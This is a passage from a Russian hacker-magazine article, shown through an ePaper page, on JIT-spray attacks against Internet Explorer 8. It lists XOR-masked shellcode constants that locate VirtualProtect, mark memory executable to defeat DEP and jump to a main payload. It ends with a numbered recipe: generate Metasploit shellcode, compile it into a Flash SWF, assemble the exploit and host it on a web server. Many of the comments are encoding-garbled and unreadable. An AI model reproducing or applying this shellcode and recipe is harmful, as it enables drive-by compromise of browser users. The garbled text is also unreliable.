Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
Делаем память с шеллкодом исполняемой<br />
0x3c90eA75^ // 3575eA903c jnz short NEXT:<br />
0x3c904747^ // 354747903c inc edi, inc edi ; äâà áàéòà<br />
ñäâèã — Unicode æ<br />
… // è òàê äàëåå îñòàëüíûå òðè áóêâû<br />
… // Íàéäÿ ìîäóëü ïî èìåíè è åãî áàçîâûé àäðåñ<br />
… // Ïîëó÷àåì óêàçàòåëè íà òàáëèöû ñ èìåíàìè è àäðåñàìè<br />
ôóíêöèé<br />
0x3cb89090^ // 359090b83c mov eax, 3c ..<br />
0x3c900000^ // 350000903c 3500000<br />
0x3c9063b0^ // 35b063903c mov ah, 'c'<br />
0x3c5074b4^ // 35b474503c mov al, 't' and push –"ct\0\0"<br />
// çàíîñèì â ñòåê ïî 4 áàéòà<br />
"Virt ualP rote ct\0\0"<br />
// çàòåì èùåì â ñïèñêå èìåí äàííîå èìÿ, êàê íàøëè èìÿ,<br />
ñìîòðèì ñ ýòèì æå èíäåêñîì àäðåñ ôóíêöèè, ïîëó÷àåì<br />
…<br />
0x3c5cc483^ // 3583c45c3c add esp, 5c ; Âîçâðàùàåìñÿ ê<br />
àäðåñó øåëëêîäà<br />
0x3c909058^ // 355890903c pop eax ; ïîëó÷àåì ñòàðøèå áàéòû<br />
0x3c08c483^ // 3583c4083c add esp, 08 ;ñäâèãàåìñÿ ê<br />
ìëàäøåìó àäðåñó<br />
0x3cb9905a^ // 355a90b93c pop edx ; ïîëó÷àåì ìëàäøèå<br />
çíà÷åíèÿ<br />
0x3c906060^ // 356060903c<br />
0x3c9060b1^ // 35b160903c<br />
0x3c9060b5^ // 35b560903c çàíîñèì â ðåãèñòð ecx 0x60606060<br />
0x3c90c12b^ // 352bc1903c sub eax, ecx<br />
0x3c90d12b^ // 352bd1903c sub edx, ecx ;ìëàäøèå<br />
âîññòàíîâèëè<br />
0x3c04e0c1^ // 35c1e0043c shl eax, 4 ; òåïåðü ñòàðøèå<br />
0x3c90c203^ // 3503c2903c add eax,edx ; íó è âåñü àäðåñ<br />
0x3c90388b^ // 358b38903c mov edi, [eax] ; ïîëó÷àåì ïî<br />
óêàçàòåëþ àäðåñ øåëëêîäà<br />
0x3c08c783^ // 3583c7083c add edi, 8 ; ñäâèãàåìñÿ íà 8<br />
áàéò<br />
0x3c406a54^ // 35546a403c push esp and push 40 ;<br />
XÀÊÅÐ 05 /136/ 10<br />
ïîäãîòàâëèâàåì ïàðàìåòðû. 0x40 — ðàçðåøèòü íà ÷òåíèå,<br />
çàïèñü è èñïîëíåíèå<br />
0x3c90016a^ // 356a01903c push 01 ; ðàçìåð íå èìååò<br />
çíà÷åíèÿ<br />
0x3cd3ff57^ // 3557ffd33c âûçûâàåì ôóíêöèþ<br />
0x3c90e7ff); // è ôèíàëüíûé ïðûæîê íà îñíîâíîé øåëëêîä,<br />
óæå èñïîëíÿåìûé<br />
}<br />
function Loadzz2(){ var ret1 = funcXOR1();}<br />
В комментариях ищи основной смысл, в опкодах же присутствует<br />
ещё выравнивание NOP’ами и маскирование XOR’ов. Конечно,<br />
данный шеллкод можно вписать в меньшие размеры, но в данном<br />
случае значения это не имеет, главное — не набрать кода больше<br />
чем 0x1000 = 4000 байт. Наш шеллкод имеет размер около 800 байт,<br />
включая NOP’ы, XOR’ы и выравнивания Так что места ещё много. Вот<br />
такая история. На диске ты найдешь примеры других шеллкодов и<br />
пример эксплойта. К сожалению, мы не успели рассмотреть вариант<br />
с точным вычислением адреса JIT шеллкода, тем не менее, и данный<br />
вариант будет работать. На диске есть набор для генерации всего что<br />
понадобится для обхода защиты DEP в IE8, и вдобавок видео, как этим<br />
пользоваться. Вкратце суть следующая:<br />
1. Находим уязвимость.<br />
2. Генерируем в метасплойте шеллкод в формате perl.<br />
3. Сохраняем его, меня модификатор 'my' на 'our'.<br />
3. Генерируем AS файл: perl shellcodegen.pl shellcode_file > jit-spray.as<br />
4. Генерируем SWF файл: as3compiler –X 320 –Y 300 –M Loadzz1 jitspray.as<br />
5. Собираем эксплойт, используя функции из статьи. Так, чтобы после<br />
адреса возврата находился адрес, передаваемый через Flash.<br />
6. Закачиваем HTML и SWF на WEB сервер.<br />
Пожалуй, на этом трилогия про атаки на браузеры через ActiveX<br />
закончена. Надо заметить, что описанный здесь метод применим<br />
не только к IE8, но и к другим браузерам. Аналогичный метод может<br />
использоваться в PDF файлах. z<br />
069